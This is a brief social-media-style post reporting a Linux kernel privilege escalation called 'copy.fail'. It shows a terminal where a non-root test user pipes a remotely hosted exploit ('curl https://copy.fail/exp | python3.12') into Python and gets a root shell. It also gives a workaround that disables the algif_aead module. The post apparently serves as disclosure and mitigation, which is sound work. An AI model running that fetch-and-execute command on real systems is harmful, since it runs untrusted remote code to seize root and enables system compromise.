new extremely bad thing is coming https://copy.fail
I've created the testusr without root/sudo permission and was able to get root
[testusr@prd-ns123snA-03 xxx-automation]$ curl https://copy.fail/exp | python3.12 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 4568 0 --:--:-- --:--:-- --:--:-- 4568
[root@prd-ns123snA-03 xxx-automation]# id
uid=0(root) gid=1003(testusr) groups=1003(testusr) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
all kernels since 2017 are affected. it looks like there is workaround if the kernel is not available
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
have fun
#security #fail
